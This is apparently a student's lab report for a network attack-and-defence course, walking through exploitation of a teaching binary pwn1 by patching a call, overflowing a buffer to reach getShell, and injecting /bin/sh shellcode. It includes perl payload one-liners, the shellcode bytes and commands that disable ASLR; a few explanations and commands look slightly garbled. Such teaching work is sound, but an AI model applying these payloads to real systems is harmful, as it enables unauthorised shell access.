20252808 2025-2026-2 《网络攻防实践》第九次作业

20252808 2025-2026-2 《网络攻防实践》第九次作业

一. 实验内容

1.1 实验内容概述

1.1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件 。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

1.1.2 实践内容

实践内容有以下三个:
① 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
② 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
③ 注入一个自己制作的shellcode并运行这段shellcode。

1.1.3 实验要求
① 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码;
② 掌握反汇编与十六进制编程器;
③ 能正确修改机器指令改变程序执行流程;
④ 能正确构造payload 进行bof攻击。

1.2 实验相关知识概述

1.2.1 缓冲区溢出(Buffer Overflow)

缓冲区溢出是一种常见的安全漏洞,当程序尝试将数据写入超出其分配内存空间的区域时发生。攻击者可以利用这种漏洞来覆盖内存中的控制结构,如返回地址,从而改变程序的执行流程。

1.2.2 缓冲区溢出(BoF)攻击

① 原理:程序向缓冲区写入数据时,超出其预先分配的空间,覆盖相邻内存区域数据,若覆盖到函数返回地址等关键信息,程序返回时会跳转到错误地址执行,导致程序崩溃或被攻击者利用执行恶意代码。

② 构造 payload:Payload 通常由填充数据(如 NOP 序列)、恶意代码(如 Shellcode )和用于覆盖返回地址的目标地址组成。通过精心构造 payload,利用 foo 函数的缓冲区溢出漏洞,覆盖返回地址为 getShell 函数地址或自定义 Shellcode 地址,实现触发 getShell 函数或执行自定义 Shellcode 的目的。

1.2.3 Shellcode:

Shellcode是一段恶意代码,通常在缓冲区溢出攻击中使用,目的是在目标系统上执行攻击者的代码。Shellcode需要为特定的处理器架构编写,并且要尽可能地小,以适应可能的内存限制。

1.2.4 反汇编与十六进制编程器

① 反汇编:通过反汇编工具(如 GDB、IDA Pro 等)将机器语言转换为汇编语言,能帮助理解可执行文件内部结构、函数调用逻辑和指令序列,是分析程序漏洞和理解程序运行机制的重要手段。

② 十六进制编程器:如 Hex Fiend、Bless 等工具,可直接查看和编辑文件的十六进制数据。在实验中用于手工修改可执行文件的机器指令,从而改变程序执行流程。

二. 实验过程

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先按照实验要求,先将命令行的名字改成自己的学号,输入指令hostnamectl set-hostname 20252808jll,再重启系统即可.

image

在学习通下载本次实验所需的文件资料pwn1,改名字为pwn20252808后直接拖入kali虚拟机桌面界面,然后解压

image

使用以下命令对pwn文件进行反编译,并利用管道进行分页显示:

objdump -d pwn20252808 | more

image

继续下拉查看更多信息,定位到 getshell、foo 及 main 函数:

main函数调用了call foo函数。在读取foo函数的内容会发现,其只会简单回显任何用户输入的字符串。而本次实验要求是修改可执行文件,改变程序执行流程,直接跳转到getShell函数。所以这里就需要修改主函数,将主函数main的call foo函数删除,并修改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址。call部分,其代码如下所示:

80484b5 e8 d7 ff ff ff call 8048491 foo

80484b5是当前指针所指地址,e8是call指令的操作码,d7 ff ff ff 就是偏移量,代表目的地址到当前指令指针的下一地址的相对偏移量(即下一条指令的地址,相当于当前指令地址+4)。

综上所述,可得出计算公式为:目的地址 - 当前地址+4(即下一指令地址)= 偏移量

计算过程:
8048491 - 80484ba = 偏移量 = -41。(结果为-41,故采用补码表示:0xffffffd7)

在计算机组成原理中我们曾学习过,计算机的数据存储方式为高右低左(即高位放低地址(右边),低位放高地址(左边)),因此上述结果在计算机中存储为:0xd7ffffff 。

若要调用getShell,根据公式计算可得:
0804847d(getShell函数首地址)- 80484ba = -61 = 0xffffff3c
计算机存储为0xc3ffffff。

image

使用vim pwn20252808命令打开pwn文件,输入指令:%!xxd以十六进制形式查看

image

使用/e8 d7ff命令查找要修改的内容

image

将d7修改为c3

image

执行 :%!xxd -r 命令还原为原文件格式,保存并退出编辑。

image

再次对文件进行反汇编找到main函数,发现修改成功

image

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

重新拷贝一份文件到kali虚拟机中,输入命令objdump -d pwn20252808jll1 | more反汇编未修改过的文件

查看以下foo的反汇编代码。foo只调用了gets和puts两个函数,即foo函数只读取shell当中进行的输入,并进行输出。由缓冲区溢出原理可知,当输入的字符串超出了foo函数的缓冲区容量,就会发生缓冲区溢出的情况,同时还需要确保最后4个字节为getShell的地址 0x0804847d。所以只需将foo函数的栈中的return地址修改为getShell的地址,就能达到实现获取shell的效果,实现缓冲区溢出(0x0804847d在指令中应该写为\x7d\x84\x04\x08)。

分析可知,foo函数总共有0x38个字节作为存储范围,其中,有0x1c,即总共28字节供应gets使用。所以只要gets得到的字符串为28+4=32字节时就会发生缓冲区溢出,即gets的内容将覆盖寄存器,且返回地址变为getshell函数的地址。

image

使用以下命令将一段较长的字符串输入并定向和存储到命名为input20252808的文件中。
perl -e 'print "jjjjjjjjlllllllll20252808\x7d\x84\x04\x08"' > input20252808

2.3 注入一个自己制作的shellcode并运行这段shellcode

在 Kali 虚拟机中安装execstack
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb

使用sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb解压缩包

image

设置pwn20252808jll1程序堆栈可执行,并进一步查询是否设置成功。

execstack -s pwn20252808jll1
execstack -q pwn20252808jll1

image

查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭

more /proc/sys/kernel/randomize_va_space echo 0
sudo tee /proc/sys/kernel/randomize_va_space

image

使用输出重定向将perl生成的字符串存储到attack_20252808jll文件中:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > attack_20252808jll

image

文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20252808jll1进程号为25183

终端1:(cat attack_20252808jll;cat) | ./pwn20252808jll1

终端2:ps -ef | grep pwn20252808jll1

image

再开一个终端对pwn20252808jll1文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。

gdb pwn20252808jll1

attach 25183

disassemble foo

break *0x080484ae

image

终端1按回车后,再终端3输入c继续运行。查看栈顶指针所在的位置为0xffffcf2c,0x04030201为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf2c + 4 = 0xffffcf30,是0xffffcf30。

info r esp

x/16x 0xffffcf2c

image

退出gbd调试,重新构造 attack_20252808jll文件。并输入常见指令测试是否拿到shell,成功!

perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > attack_20252808jll

(cat attack_20252808jll;cat) | ./pwn20252808jll1

ls

image

三. 学习中遇到的问题及解决

问题1:execstack程序文件下载不成功。

解决方案:查询资料发现是DNS服务器缘故。

问题2:execstack文件无法解压。

解决方案:查询资料后发现是前面使用命令安装进程占用虚拟机资源,使用kill命令结束进程即可成功。

问题3:未能成功关闭地址随机化

解决方案:查询资料后发现是前面使用命令出错,更改命令即可成功。

四. 学习感悟、思考

在本次实验,与前面实验不同之处在于此次实验实现了三种能获取shell的方式。实验期间,我深入了解了什么是缓冲区溢出、反汇编以及十六进制编程器等知识,并知晓其之间的区别和联系,对反编译并修改可执行文件进行了掌握。更深入了解gdb调试以及如何正确构造payload进行攻击,让我对网络安全的学习更加深入。同时,此次实验遇到的问题是真多,解决这些问题大大提高了我的纠错水平,拓展了我在网络攻防技术领域的知识储备,强化了相关知识要点,为后续开展网络攻防实验筑牢根基。

posted @ 2026-05-21 13:15  蒋乐乐  阅读(24)  评论(0)    收藏  举报